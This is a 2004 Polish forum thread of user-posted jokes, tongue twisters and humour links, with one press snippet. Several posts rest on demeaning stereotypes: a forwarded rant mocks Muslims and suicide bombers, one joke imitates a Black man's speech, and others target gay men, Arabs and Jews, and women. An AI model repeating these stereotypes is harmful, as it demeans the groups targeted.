Niestety omylił sie o 1 litere.Mail znalazł się w ten sposób w Houston u wdowy po pastorze, która własnie wróciła do domu z pogrzebu męża i chciała sprawdzić czy w poczcie elektronicznej sa jakies kondolencje od rodziny i przyjaciół.
Jej syn znalazł ją zemdloną przed komputerem i przeczytał na ekranie:
Do: Moja ukochana zona
Temat: Jestem juz na miejscu
Wiem że jesteś zdziwiona otrzymaniem wiadomości ode mnie.Teraz mają tu komputery i wolno wysyłać maile do najblizszych.Własnie zameldowałem sie. Wszystko jest przygotowane na Twoje przybycie jutro. Ciesze się na spotkanie. mam nadzieję że Twoja podróż bedzie równie bezproblemowa jak moja.
Ps. Tu na dole jest naprawde goraco!

anton - 21-08-2004, 18:18

Ilu (freudowskich, klasycznych) psychoanalityków trzeba, żeby wkręcić żarówkę?
Dwóch. Jeden wkręca, a drugi przytrzymuje mu penisa... Nie, matkę! Tfu, drabinę!

natt - 22-08-2004, 22:22

Hipopotam leży w kałuży błota. Leży jeden dzień, drugi. Leży trzeci dzień i czwarty. Czasami stękając przewraca się z boku na bok. Piątego dnia przybiega do niego synek:
- tato, tato, czy możesz naprawić mi rowerek?
- i weź tu a fee rzuć wszytko i naprawiaj gówniarzowi rowerek.

natt - 23-08-2004, 11:19

historia pozornie zabawna:

Krzyś, korzystając z pośrednictwa Kubusia Puchatka postanowił obdarować zwierzątka dziesięcioma słoikami miodu. Następnego dnia kubuś puchatek zwołał zwierzątka na polanie i mówi tak:
-Krzyś podarował nam dziesięć słoiczków miodu. Z moich obliczeń wynika, że to wychodzi po siedem na głowę.
Po chwili skonsternowanego milczenia odzywa się wkońcu zakłopotany kłapouchy:
-kubusiu, ale to nijak nie chce wyjść w ten sposób...
Na co niewzruszony kubuś:
-ja tam nie wiem, swoich siedem już zjadłem

nseal - 23-08-2004, 12:19

-Name?
-Abu Dalah Sarafi.
-Sex?
-Four times a week.
-No, no, no..... male or female?
-Male, female...... sometimes camel.......

MArcin M. - 31-08-2004, 15:00

W samochodzie jedzie dwoch gejow, zatrzymuja sie na czerwonym
swietle. Obok nich przejezdza facet na motorze i zarysowal im
lakier na zderzaku. Po chwili otwiera sie szyba wyglada przez nia jeden z
chlopakow i mowi:
- Gieniu dzwon po policje!!!

Gosciu mowi: - To jest taka niewidoczna ryska a pan mi tu z
policja wyjezdza... a w dodatku jest na plastikowym zderzaku.
- Gieniu dzwon po policje!!!

Gosciu sie zdenerwowal i zaczal szukac portfela wyjal 100 zl i
chcial mu je dac .
- Gieniu dzwon po policje!!!

Facet wyjmuje z portfela wiecej pieniedzy.
- Ma tu pan 200 zl - to wystarczy na zderzak.
- Gieniu dzwon po policje!!!

Facet wreszcie wyjal 500 zl i daje je chlopakowi.
Ten swoje: - Gieniu dzwon po policje!!!
W koncu koles, wkurzony wykrzyknal:
- Nie chcecie pieniedzy to **** wam w dupe!!!!!!!

- Gieniu, nie dzwon! Pan sie chce dogadac!!!

tsharny - 01-09-2004, 15:45

Listonosz z nadmorskiej miejscowości był wściekły, bo musiał dostarczyć pocztówkę dla latarnika, co wiązało się z wypłynięciem łódką i dużym nakładem czasu. Kiedy dotarł do latarni, wyburczał do latarnika:
- Pocztówka.
- Dzięki. I nie bocz się tak, bo zaprenumeruję gazetę...

pozdrawiam
tsharny

Miłosz - 06-09-2004, 23:25

http://www.ziemni.risp.pl/


:]
Nishi

nseal - 08-09-2004, 08:19

70 rzeczy, które kobieta powinna umieć:
a) gotować
b) 69

tsharny - 08-09-2004, 13:37

Leci w samolocie w jednym rzędzie: 2 Arabów (od strony okna) i Żyd (od przejścia). Żyd w jarmułce, pejsy, te sprawy - wyluzowany kompletnie - rozpiął kołnierzyk, zdjął buty. Arabowie patrzą na niego nienawistnie. Po godzinie lotu jeden z nich wstaje i mówi:
- Idę po Colę.
Żyd na to:
- Ależ nie, ja pójdę, po co się przeciskać.
I poszedł. W tym czasie Arab napluł mu do buta. Żyd wraca, daje Colę Arabowi. Po kolejnej godzinie drugi Arab mówi:
- Idę po Colę.
Żyd jak poprzednio:
- Ja pójdę.
I poszedł. Drugi Arab napluł mu do drugiego buta. Żyd wraca, daje Cole Arabowi. Po godzinie samolot ląduje, Żyd zbiera się zapina kołnierzyk, założył jednego buta, skrzywił się i mówi:
- Znowu ta straszna nienawiść między naszymi narodami - to plucie do butów, to szczanie do Coli...

z nurkowym pozdrowieniem
tsharny

KrzyHo - 08-09-2004, 15:37

Uradowana żona wraca do domu, i zwraca się do męża:

- Wyobraź sobie,że dzisiaj przejechałam trzy razy na czerwonym świetle i ani razu nie zapłaciłam mandatu
- No i? ...
...
...
- Za zaoszczedzone pieniądze kupiłam sobie torebke.

tomkozd - 08-09-2004, 19:09

Pukanie do drzwi.
- Kto tam?
- Maja
- Jaka Maja?
- Ma ia hii
Ma ia huu
Ma ia hoo
Ma ia haa

martin - 19-09-2004, 16:38

Trzech komandosow wraca z akcji. W nagrode za pomyslne wykonanie zadania dostaja nastepujaca propozycje wynagrodzenia:
-"Powiedzcie jak macie byc zmierzeni, a za kazdy zmierzony cm dostaniecie 1000 u$".

Pierwszy:
-"Od czubka glowy az po piety".... Komandos zostaje zmierzony i dostaje 185.000 U$.

Drugi mysli sobie "to jeszcze mozna pobic" i mowi:
-"Od szubka palcow nogi az do czubka palcow reki" i wyciaga reke w gore. Zostaje zmierzony i dostaje 243.000$"

Trzeci (po twarzy ktorego widac, ze nie jedna akcje juz przezyl) mowi:
-"Od czubka pul... az po jajka"

Mierzacy pyta:
-"Jestes pewien?"
ale komandos nie daje sie zbic z tropu. Mierzacy otwiera wiec spodnie komandosa, mierzy, przyglada sie, drapie po glowie, znow mierzy, az w koncu pyta:
-"No a gdzie masz jajka?"

-" W Wietnamie....."

Tiooo - 20-09-2004, 13:36


szandor1 - 22-09-2004, 20:56
Temat postu: BEKA
1)Czemu blondynka cieszy się że ułożyła puzzle w 2 miesiące??

Bo na opakowaniu było : od 2 do 4 lat

2) Czym sie różni pizza od prostytutki??

Pizze można wziąć bez grzybów

3) Jak sie nazywa ślad ryby na wodzi??

Ribentrop

4) Jak to sie nazywa jak mamy katar z dwóch dziurek nosa naraz??

Bismarck
:mrgreen:

szandor1 - 22-09-2004, 21:06
Temat postu: STRONKA
Polecam stronke:
http://www.funiaste.net/wrzesien/05_wrzesnia_2004/

Beka i Ubaw :mrgreen:

Mania - 01-10-2004, 16:56

Żona pyta męża w łóżku:
- Kochanie, dlaczego masz takie długie rzęsy?
Mąż:
- Ponieważ w dzieciństwie dużo płakałem
Ona:
- Lepiej gdybyś dużo sikał... :mrgreen: :mrgreen:

martin - 01-10-2004, 19:09

Wiecie dlaczego mezczyzni zyjacy w zwiazkach sa grubsi od kawalerow?

Kawaler przychodzac po pracy do domu zaglada do lodowki, i twierdzac ze w niej nie ma nic ciekawego idzie do lozka. Mezczyzna zyjacy w zwiazku, przychodzi z pracy, i nie widzac nic ciekawego w lozku idzie do lodowki....

Pisklak - 02-10-2004, 00:24

Stoi dziennikarz pod budką Lotto i robi wywiady. Podjeżdża facet trabantem, dziennikarz przyskakuje i pyta :
- Co pan zrobiłby z tą wygraną?
Facet myśli i mówi :
- No to wieksze mieszkanie, poloneza,..
- A reszta ?
- Reszta na PKO.
Podjeżdża facet polonezem. Dziennikarz pyta :
- A co pan by zrobił... ?
- No, to jakiś dom, mercedes....
- A reszta ?
- Reszta na PKO
Podjeżdża facet merolem 600 SEL. Dziennikarz ponawia pytanie...
- Taaak, no to spłaciłbym urząd skarbowy, potem ZUS....
- A reszta ?
- A reszta niech kur..wa czeka !


Pozdr.
Pisklak

maczaty - 04-10-2004, 10:49

Mały chłopczyk wraz z tatusiem znaleźli w lesie małego jeżyka. Leżał pod kępką trawy i drżał z zimna. Chłopczykowi zrobiło się żal jeżyka i poprosił tatusia, żeby zabrali jeżyka do domu. Tata się zgodził, i tak jeżyk zamieszkal u nich.

Chłopczyk bardzo dbał o jeżyka, poił go mleczkiem i dawał mu najlepsze owoce. Jeżyk zajadał ze smakiem i nieraz - ku zdziwieniu chłopca - pomrukiwał z zadowoleniem. Na zimę jeżyk - jak przystało na wszystkie porządne jeżyki - zapadł w zimowy sen. A na wiosnę jeżykowi urosły skrzydła, na czole wyrósł róg i jeżyk odleciał przez niedomknięte okno.
Wtedy stało się jasne, że chłopczyk z tatusiem nie przynieśli z lasu jeżyka, tylko jakieś ch... wie co.

:22:

szandor1 - 07-10-2004, 21:40

Kończy się seminarium poświęcone osmozie cieczy. Profesor podsumowuje:
- I tak właśnie ścieka woda. Czy wszystko jest zrozumiałe?
Wstaje Murzyn i mówi:
- Ja ciegoś nie rozumiem. Jak to jest: woda ścieka i pies ścieka?

yogi - 08-10-2004, 01:09

Po imprezie rano skacowany mówi do swego kota - błagam nie tup tak
lobster - 08-10-2004, 01:27

yogi napisał/a:
Po imprezie rano skacowany mówi do swego kota - błagam nie tup tak


To nie jest wcale dowcip. To cos bardzo bardzo z zycia.

Aston - 08-10-2004, 01:50

:wave:

To jest stary tekst Golasa (a Nowak to spiewal):

Dlaczego te mewy tak glosno tupia (w tekscie posenki - tupot bialych mew)

a drugi, raczej anegdotyczny teraz:

nie tup kotku nie tup...

kotek to kocur, a Kotek to...

kazdy sam sie rano domysli ;)

:wave: :wave:

marbo - 08-10-2004, 10:04

Pan z panią , romantyczna kolacja we dwoje, świece , nastrojowa muzyka.
Wjeżdża szampan...Na ten widok pani oniemiała z zachwytu i wykrzykuje z
egzaltacją:
- Proszę pana, pan nawet nie wie, jaką pan mi sprawia przyjemność.
Bo ja proszę pana, uwielbiam szampana! kiedy mogę delektować się tym
niewysłowionym bukietem smaku, gdy poczuję te musujące bąbelki pieszczące me
podniebienie, to czuję jakby nagle wszystkie kwiaty zakwitły w zimie! Powietrze przesycone jest
zmysłowym aromatem, świat skrzy się feeria barw, a odgłos musującego szampana jest jak
miłosny szept kochanka... słyszy pan? to jak liryka miłosna, proszę pana, gdy piję szampana czuję
się piękna, lepsza! Co za poezja smaku... Cóż to za uczta dla zmysłów..
Bo po piwie to, wie pan, strasznie mi odpierdala...

kraknur - 08-10-2004, 10:11

A tu coś z życia w naszym kochanym kraju:
(...) W tej chwili toczy się śledztwo w sprawie zlecenia na połamanie rąk i spalenie samochodu jednemu z pracowników wywiadu skarbowego (służba specjalna podlega ministrowi finansów). Urzędnik wykrył nadużycia podatkowe ostrołęckiego przedsiębiorcy współpracującego z PKN Orlen. Przełożeni i koledzy ze służb skarbowych zamiast udzielić mu pomocy, sugerowali, by wycofał się ze sprawy, bo "nie wie, z kim zadarł". (...)
(źródło: Puls Biznesu 28/09/2004, Tygodnik Solidarność 22/09/2004)

[ Dodano: Pią 08-10-2004 9:13 ]
> LIST DO NIEDOSZLEGO ZIECIA - super!!!
>
>   Drogi Andrzeju!
>
>   Odkad zmusilem swoja corke, aby zerwala Wasze zareczyny, nie
> przespalem spokojnie ani jednej nocy. Czy zdolasz mi wybaczyc i
> zapomniec o tym? Zdecydowanie za bardzo czepialem sie o Twojego
> irokeza, o tatuaze i o kolczyk w nosie.
>
>    Zdalem tez sobie sprawe, ze motocykle wcale nie sa az
> tak niebezpieczne, a moja reakcja na wiadomosc, ze nigdy dotad nie
> pracowales, byla znacznie przesadzona. Jestem tez przekonany, ze
> mnostwo innych milych i sympatycznych ludzi mieszka pod mostem.
>
>   Jak Ci wiadomo, moja corka ma siedemnascie lat i chce wyjsc za
> Ciebie zamiast skorzystac ze stypendium, ktore proponuje jej Harvard.
>
>  Ale przeciez nie cala wiedze o zyciu czerpiemy z ksiazek!
>
>  Czasem zapominam, jak bardzo jestem staroswiecki.
>
>   Pomylilem sie. Postapilem bardzo glupio. Ale wrocil mi zdrowy
> rozsadek i w pelni blogoslawie Twoj zwiazek z moja corka.
>
>
>
>   Serdecznie pozdrawiam, Twoj przyszly tesc.
>
>
>
>   P.S. Gratuluje szostki w Lotto.

Pisklak - 08-10-2004, 11:21

Mąż z żoną jedzą obiad w wykwintnej restauracji,
kiedy nagle do ich stolika podchodzi oszałamiająco piękna, młoda
dziewczyna, całuje faceta w usta,
mówi, że zobaczą się później i wychodzi.
Żona patrzy na męża z wściekłością:

- Kto to był?!

- Moja kochanka - odpowiada mąż.

- Wystarczy! Chcę rozwodu!

- Dobrze - odpowiada mąż - ale zauważ, że
po rozwodzie nie będzie już wycieczek do Paryża na zakupy, nie będzie
wakacji na Karaibach, nie będzie
mercedesa w garażu i nie będzie weekendów
na jachcie. Ale oczywiście możesz zrobić jak zechcesz.

W tym momencie żona zauważa ich wspólnego
znajomego wchodzącego do restauracji z młodą, ładną dziewczyną:

- Kim jest ta dziewczyna obok Karola?

- To jego kochanka - informuje ją mąż.

- Nasza jest sympatyczniejsza.

Pozdr.
Pisklak

Marcin B - 08-10-2004, 11:33

Jest piekny sloneczny dzien na trawce opala sie naga panna nagle
miedzy jej nogami wykopuje sie krecik rozglada sie i pyta:
- ...Jeżyk...??
Cisza wiec podchodzi blizej i pyta:
- .....Jeżyk...??
Cisza wiec podchodzi jeszcze blizej wącha i pyta:
- .... Jeżyk żyjesz????

Mania - 08-10-2004, 12:18

Marcin...fuj, fuj, fuj...
A Edyta widziala ten dowcip?????? :evil:
Mania

maczaty - 08-10-2004, 12:23

Międzynarodowa wycieczka przyjeżdża pod największy wodospad świata:

- O God, it's wonderful!
- O Mein Gott, das ist wunderbar!
- Gaspada, eto prosta priekrasnoje!!!
- O k***a, ja pi****le.

:asthanos:

Clio - 09-10-2004, 15:15

Marcin B napisał/a:
Jest piekny sloneczny dzien na trawce opala sie naga panna nagle
miedzy jej nogami wykopuje sie krecik rozglada sie i pyta:
- ...Jeżyk...??
Cisza wiec podchodzi blizej i pyta:
- .....Jeżyk...??
Cisza wiec podchodzi jeszcze blizej wącha i pyta:
- .... Jeżyk żyjesz????


Średni dowcip , a i nie smaczny......

kjar - 09-10-2004, 17:49

Działo się to w ZSRR w czasach, gdy Czernienko - szef KGB, już szykował się do objęcia stołka I sekretarza KC. W rozmowie z towarzyszami obiecywał duże zmiany w państwie. W szczególności był za zniesieniem różnych stref czasowych na terenie ZSRR. Argumentował nastepująco:
Towarzysze, no nie może tak być, że gubimy się w tych strefach i nie reagujemy na czas. Ja sam kiedyś zadzwoniłem pogratulować Yang-dze-Minowi wyboru na pierwszego sekretarza Komunistycznej Partii Chin i usłyszałem od niego zgryźliwą uwagę, że oczywiście dziękuje, ale to było już wczoraj i wszyscy złożyli mu juz gratulacje.
Albo - przekonywał dalej Czernienko - wyobrażcie sobie, dzwonię do Watykanu aby złożyć wyrazy współczucia z powodu zamachu na Papieża, a oni mi na to : jaki zamach ????

Cezary Kędzia - 09-10-2004, 18:26

Gospodarzowi ciągle ktoś kradł jabłka z sadu. Postanowił złapać złodzieja i zaczaił się na niego po zmroku pod drzewem. Znużony ciężkim dniem zasnął snem sprawiedliwego. Obudziło go głośne mlaskanie i chrupanie na drzewie. Podskoczył i złapał niegodziwca za jajka.
-Ktoś ty?
w odpowiedzi usłyszał straszny jęk : uuuuuuuuuuuuu!
-ktoś ty ? Gadaj! i jeszcze mocniej ścisnął jajka niegodziwca
a w odpowiedzi tylko : - auuu uuuuuuuuuuuuu!
wreszcie ścinął jeszcze mocniej i przekręcił i krzyknął :- ktoś ty ?
i w odpowiedzi usłyszał:
- too jaaaaa Aaaaanteeek niemowa !!!!!

kraknur - 09-10-2004, 19:39

> > Jedzie sobie młode małżeństwo samochodem. Przejeżdżają obok
> "tirówek". Żona > pyta: - Kochanie, co tu robią te panie i to tak
> ubrane?
> - Robią ludziom przyjemności za pieniądze.
> - A dużo można na tym zarobić
> - Oj, bardzo dużo, kochanie.
> - To może i ja bym stanęła? W końcu dopiero co się dorabiamy, auto na
> - spłacie, a czasy takie niepewne...
> - Mąż unosi brwi ze zdziwienia:
> - No, jak ty nie masz nic przeciwko, to ja też się zgadzam.
> - A co muszę zrobić? - pyta żona.
> - Stań tu, ja stanę 100 metrów dalej. Jak podjedzie klient to
> powiedz"stówa"
> - i rób co trzeba. W razie wątpliwości mów, że musisz porozmawiać z
> menadżerem
> - i przybiegnij do mnie. Ok.
> - Żona staje, stoi 5 min. Zatrzymuje się samochód. Żona podchodzi, a
> kierowca
> - pyta: - Ile?
> - Stówa.
> - Ale ja mam tylko siedem dych.
> - Pan poczeka, muszę porozmawiać z menadżerem.
> - Żona biegnie do męża i pyta:
> - Józek, ale on mówi, że ma tylko 70 . Zrobić to?
> - Nie kochanie, nie możemy od razu robić zniżek. Powiedz mu, że za 70
> to mu
> - weźmiesz do ręki.
> - Żona biegnie z powrotem i mówi, ze zrobi ręką za siedem dych. Gość
> się
> - zgadza, wyciąga interes... oczom żony ukazuje się instrument długi
> aż do
> - kolan klienta. Żona wytrzeszcza oczy i mówi:
> - Muszę porozmawiać z menadżerem.
> - Biegnie zdyszana do męża i woła:
> - Józek, nie bądź świnia, pożycz mu te trzy dychy!
>

[ Dodano: Nie 10 Paź, 2004 ]
>> > > Skad sie biora muzulmanscy samobojcy ?
>> > >
>> > >
>> > >
>> > > Nie możesz pić piwa, wina ani wódki, więc odpadają ci wszystkie
>> > > związane z tym przyjemności: paw, lanie pod budką, knajpy z
>> towarzystwem
>> > > zalanym w trzy dupy, udane zakrapiane imprezy, sex po pijaku z
>> pierwszą
>> > > poznaną dziewczyną, ucieczka po wytrzezwieniu itd.
>> > >
>> > > W TV widzisz tylko meczety i duchownych gadających od rzeczy, żadnej
>>
>> > > piłki nożnej, golfa, tenisa, wyścigow Formuły 1 itp. Nie możesz
>> > > sobie w ogrodku postawić grilla z pieczenią wieprzową doprawioną na
>> > > ostro, nie wspominając o baterii butelek piwa wokół (patrz pkt.1).
>> > > Nie możesz w weekend urwać się na ryby, bo co za idiota usiłowałby
>> > > złowić coś w odległej o 100 km oazie?
>> > >
>> > > Zamiast porządnych garniturów lub luzackich jeansow musisz ubierać
>> > > się w szarą szmatę od stóp do glów, a łeb owijać drugą. Jesz tylko
>> > > jedną reką, bo druga służy do podcierania (jakby życie nie było
>> > > dość skomplikowane, to jeszcze brak papieru toaletowego). Karaluchy
>> > > po obiedzie u sąsiada pędzą na deser prosto do ciebie, bo nie ma
>> > > ani drzwi ani szyb w oknach. Sprobuj się zabawić przy tej muzyce.
>> > > Chcesz sobie dłużej pospać, a tu codziennie o 5 rano zza okna
>> muezzin
>> > > drze pysk, że pora na poranną modlitwę.
>> > > Kobiety chodzą zakutane od góry do dołu w szmaty i za żadną się nie
>> > > obejrzysz, nie mowiąc o braku tak banalnej przyjemności jak
>> rozebrane
>> > > na maxa panienki na basenie miejskim.
>> > >
>> > > Narzeczoną wybrał ci ktoś inny i na dodatek ona śmierdzi jak twój
>> > > osioł, więc w rezultacie nie wiesz, co pieprzysz w ciemnościach. Nie
>>
>> > > możesz ogolić się rano gwiżdżac jak skowronek, po czym wziąć
>> > > prysznica, wiec śmierdzisz jak wielbłąd, z którym dzielisz izbę.
>> > > Twoja żona tez nie moze się ogolić ani wziąć prysznica, więc także
>> > > śmierdzi (jak dwa wielblady), a szczegolnie denerwujące są roje
>> > > znarkotyzowanych much, latających za nią systematycznie co miesiąc.
>> > > Wielbłąd odmowił posłuszeństwa 300 km od najbliższej oazy, więc żona
>>
>> > > musiała cię nieść całą drogę, po czym też odmowiła posłuszeństwa i
>> > > odziedziczyłeś po niej cały rój much, więc się nie możesz wyspać...
>> > > Druga żona, którą znów wybrał ci ktoś inny, po rozpakowaniu okazała
>> > > się cierpiacą na ostry syndrom niedopchnięcia 70-latką, na dodatek
>> > > do złudzenia przypominającą kozę sąsiada..
>> > >
>> > >
>> > >
>> > > A nagle ktoś przychodzi, wręcza ci pakunek i mówi, że jak
>> > > pociągniesz za ten sznureczek, to wszystko się nagle zmieni!!!!!!

Aston - 11-10-2004, 16:43

:wave:

Jak zahipnotyzowac mezczyzne...?

Instrukcja:
1)kliknij na link http://www.mxfiles.kneib....ck_spezial.html
2)klikaj na zdjecie, przeciagaj w prawo, w lewo itd.
3)Potem pusc

szandor1 - 13-10-2004, 20:24

Szef do sekretarki:
- Jolu, jaki mamy dziś dzień ?
- Służbowo piątek, a prywatnie bezpłodny...

kraknur - 18-10-2004, 19:12

> gt;Dwóch facetów. Wieloletni przyjaciele od dzieciństwa.
> > |>
> > |>Jednak jeden z nich niestety jest częściowo sparaliżowany,
> potrzebuje
> > |>
> > |>trochę pomocy w codziennym życiu.
> > |>
> > |>Pewnego dnia siedzĹĄ u niego na werandzie, sparaliżowany mówi:
> > |>
> > |>- Wiesz, co, mam pytanie - czy naprawdę jesteś moim przyjacielem?
> > |>
> > |>- No jasne stary, znamy się od dziecka, wiesz, ze zrobiłbym dla
> ciebie
> > |>
> > |>wszystko!
> > |>
> > |>- Wiem, mój przyjacielu, wiem. Miałbym wiec do ciebie małĹĄ prośbę
> -
> > czy
> > |>
> > |>przyniósłbyś mi z piętra skarpetki?
> > |>
> > |>Robi się trochę chłodno, a jak wiesz, ja nie jestem w stanie tego
> > |>zrobić.
> > |>
> > |>- Stary, w ogóle nie ma o czym mówić. Skoczyłbym dla ciebie w
> ogień.
> > |>
> > |>- Dziękuje ci mój przyjacielu.
> > |>
> > |>Facet idzie na piętro, otwiera drzwi do pokoju, wchodzi i staje
> > |>oniemiały.
> > |>
> > |>Przed oczami rozpościera mu się cudowny widok - dwie córki jego
> > |>
> > |>przyjaciela, młode, piękne jak marzenie,
> > |>
> > |>ubrane jedynie w bieliznę. Facet nie może oderwać wzroku, targajĹĄ
> nim
> > |>
> > |>wyrzuty sumienia - w końcu to córki jego najlepszego przyjaciela,
> > |>jednak w
> > |>
> > |>końcu poddaje się instynktom i mówi:
> > |>
> > |>- Wasz ojciec przysłał mnie, żebym się z wami przespał.
> > |>
> > |>- Niemożliwe! - mówi jedna.
> > |>
> > |>- Nieprawdopodobne! - mówi druga.
> > |>
> > |>- No cóż, jeśli mi nie wierzycie, zaraz wam udowodnię. Facet
> podchodzi
> > |>do
> > |>
> > |>okna, otwiera je i krzyczy...
> > |>
> > |>- Obie?
> > |>
> > |>- Tak, tak, obie! Dzięki, stary!!!!!

Aston - 20-10-2004, 23:31

:wave:

Sprawdź Swój Język

BĄK
Spadł bąk na strąk, a strąk na pąk.
Pękł pąk, pękł strąk, a bąk się zląkł.

BYCZKI
W trzęsawisku trzeszczą trzciny,
trzmiel trze w Trzciance trzy trzmieliny,
a trzy byczki znad Trzebyczki
z trzaskiem trzepią trzy trzewiczki.

BZYK
Bzyczy bzyk znad Bzury zbzikowane bzdury,
bzyczy bzdury, bzdurstwa bzdurzy
i nad Bzurą w bzach bajdurzy,
bzyczy bzdury, bzdurnie bzyka, bo zbzikował
i ma bzika!

CHRZĄSZCZ
Trzynastego, w Szczebrzeszynie chrząszcz się zaczął tarzać w trzcinie.
Wszczęli wrzask Szczebrzeszynianie: - Cóż ma znaczyć to tarzanie?!
Wezwać trzeba by lekarza, zamiast brzmieć, ten chrząszcz się tarza!
Wszak Szczebrzeszyn z tego słynie, że w nim zawsze chrząszcz BRZMI w trzcinie!
A chrząszcz odrzekł nie zmieszany:
- Przyszedł wreszcie czas na zmiany! Drzewiej chrząszcze w
trzcinie brzmiały, teraz będą się tarzały.

CIETRZEW
Trzódka piegży drży na wietrze, chrzęszczą w zbożu skrzydła chrząszczy,
wrzeszczy w deszczu cietrzew w swetrze drepcząc w kółko pośród gąszczy.

CZYŻYK
Czesał czyżyk czarny koczek, czyszcząc w koczku każdy loczek,
po czym przykrył koczek toczkiem, lecz część loczków wyszła boczkiem.

DZIĘCIOŁ
Czarny dzięcioł z chęcią pień ciął.

HUCZEK
Hasał huczek z tłuczkiem wnuczka i niechcący huknął żuczka. ?
Ale heca... - wnuczek mruknął i z hurkotem w hełm się stuknął.
Leży żuczek, leży wnuczek, a pomiędzy nimi tłuczek.
Stąd dla huczka jest nauczka by nie hasać z tłuczkiem wnuczka.

JAMNIK
W grząskich trzcinach i szuwarach kroczy jamnik w szarawarach,
szarpie kłącza oczeretu i przytracza do beretu,
ważkom pęki skrzypu wręcza,
traszkom suchych trzcin naręcza,
a gdy zmierzchać się zaczyna z jaszczurkami sprzeczkę wszczyna,
po czym znika w oczerecie w szarawarach i berecie....

Pozdrawiam!

:wave: :wave:

Aston - 21-10-2004, 13:23

:wave:

Jak uprawiaja sex:
Bankier - na raty
Listonosz - dochodzi szybko
Inzynier - zgodnie z planem
Alpinista - zawsze na gorze
Polityk - konczy na obietnicach
Policjant - twarda palka z kajdankami
Szachista - bije konia nawet przy królowej
Dentysta - wiadomo, zawsze oralnie
Smieciarz - dochodzi raz w tygodniu
Detektyw - tylko w ciemnosciach i incognito
Dzokej - galopuje ostro i zawsze chce byc pierwszy
Nurek - ma wielkie cisnienie, zwlaszcza, gdy jest gleboko
Muzyk - niezwykle sprawne palce, ale potrzebuje dyrygenta
Dostawca pizzy - jak nie dojdzie w 15 minut, to zimny
Pracownik biura Podrozy - nigdy nie moze znalezc wlasciwego miejsca
Pilkarz - jak nie faul, to spalony, nigdy nie moze trafic
Golfista - male pileczki, a upiera sie zeby zaliczyc 18 dziurek
Dealer samochodów - niewazne gdzie i komu, aby tylko wepchnac ten swoj zlom

:wave: :wave:

tsharny - 21-10-2004, 14:49

Siedzi dwóch kolesi w kinie, a przed nimi taki wielki, łysy drechol, grube karczycho, złoty kajdan na szyi - z dziewczyną siedzi.
Jeden z tych kolesi do drugiego:
- Stary, założę się z tobą o 50 zeta, że nie klepniesz łysego w glace.
- No dobra, w sumie co mi szkodzi - myśli ten drugi i klepie łysego w glace.
Łysy się odwraca, a koleś:
- Zbyszek, to Ty? A nie... To przepraszam...
Łysy:
- Żaden Zbyszek, dotknij jeszcze raz to Ci churgolne! - i się odwraca.
Na to ten pierwszy koleżka do drugiego:
- Stary, super to rozegrałeś, ale idę z tobą o 200 zeta, że go drugi raz nie klepniesz.
- No dobra, w sumie co mi szkodzi - myśli sobie ten drugi i znów łysego w glace.
Łysy wkurzony się odwraca, a koleś:
- Zbyszek, no kurna, 8 lat w podstawówce, ze 3 lata w jednej ławce przesiedzielismy, Zbyszek no nie pamiętasz mnie?? Łysy:
- Nie byłem w żadnej podstawówce, zaraz ci tak przy****e, że się nie pozbierasz!
Zaczyna się podnosić, żeby przyłożyć kolesiowi, ale jego dziewczyna łapie go za rękaw i mówi:
- No daj spokój, Józek, film jest, a Ty będziesz jakiegoś cieniasa bił, chodź do pierwszego rzędu i oglądajmy...
Łysy niezadowolony idzie z dziewczyną do pierwszego rzędu i siadają.
Pierwszy koleś znowu do drugiego:
- Stary, naprawdę jestem pod wrażeniem, nieźle to wymyśliłeś ale idę o 1000, że go trzeci raz nie klepniesz.
- No dobra, w sumie co mi szkodzi - myśli ten drugi.
Idą do drugiego rzędu, siadają za łysym i koleś wali łysego w glace.
Łysy się odwraca wkurzony na maxa a koleś do niego:
- Zbyniu, to ja tam jakiegoś łysego w glace klepałem na górze, a Ty tu w pierwszym rzędzie siedzisz!!

:22: :22:

MonikaS - 21-10-2004, 16:11

muzycznie:

http://achim.wla.pl/wroobel.html

Whiskey - 21-10-2004, 16:18

rozmowa telefoniczna:
> - Haloooo, czy to pralnia?!
> - Sralnia!, a fee, a nie pralnia, tu Ministerstwo Kultury, kutasie
> jebany!

tsharny - 21-10-2004, 16:18

jak muzycznie to proszę ;)

Dziecko z mamą na wakacjach na wsi.
Mama mówi:
- Spójrz córeczko te owieczki mają dzwonki!
Córka:
- Polifoniczne?

pozdrawiam
tsharny

kraknur - 21-10-2004, 21:13

Rodzaje BABĆ w Autobusach:



Babcie lokomotywy - jak siedzisz w autobusie, stają nad Tobą i zaczynają
sapać. Niektóre sapią tak intensywnie, że czujesz co jadła kilka godzin
temu... Szczególną odmianą jest babcia Lord Vader. Sapie w szczególnie
niemiły, metaliczny sposób. Człowiek tylko czeka na moment kiedy zadusi go
posługując się ciemną stroną mocy.

Babcia "Last Minute" - nie wstanie przed swoim przystankiem, ale siedzi
twardo do samego końca i podrywa dupsko i przebija się do wyjścia jak kula
armatnia dopiero wtedy, gdy ludzie zaczynają (na jej przystanku) wsiadać do
transportera.

Babcia "Dromader" - widywane niegdyś w dużych ilościach koło HITa czy innego
supermarketu w 128. W busie najpierw ląduje ciężko jedna pełna siata, potem
druga, na końcu tarabani się staruszka wciągając za sobą wyładowany
wózeczek. Potem przewala się z tym wszystkim jak walec przez zatłoczony
autobus. Zawartość siat stanowi zazwyczaj jakieś 20 kilogramów cukru lub
tyle samo mąki, woda w pięciolitrowych butlach i inna masówka, zakupiona
zapewne dla całej kamienicy. Mi by się nie chciało tachać tych kilogramów,
więc uważam, że tym babciom nie należy ustępować miejsca.

Babcia "Predator" - najbardziej obrzydliwy, wredny typ. Pokonuje nieraz
spore dystanse do przystanku, ale już w busie czy tramwaju nie jest w
stanie przejśc tych 6 metrów do wolnego miejsca, tylko staje nad kimś
młodszym i terroryzuje go. Biedni młodzi ludzie kierując się kindersztubą
ustępują grzecznie i przenoszą się gdzie indziej. A to jest błąd! Takiej
babci trzeba wymownym wzrokiem pokazać wolne miejsce.

Babcie - siatomioty - wsiada sobie taka jedna do autobusu (ew. tramwaju),
czujnym zwinnym okiem namierzając pozycję wolnego krzesła oraz najbliższego
kasownika. Po przekalkulowaniu i zrobieniu symulacji (chodzi o
trójwymiarową symulację ruchu współpasażerów w najbliższych 10 sekundach
nałożoną na plan przestrzenny krzesło-kasownik-własna pozycja) rzuca siatą
w stronę wolnego krzesła a sama kasuje bilet. Po czym z godnością zdejmuje
siaty z siedzenia, żeby rozgościć się na wcześniej zarezerwowanym miejscu.
Dotychczasowy rekord dzierży babcia, która po wtoczeniu się do starego
Jelcza (a profilaktycznie zrobiła to dość głośno) miotnęła przed nosem
współpasażerów solidnie wyglądającą siatą z co najmniej 5 kilogramami
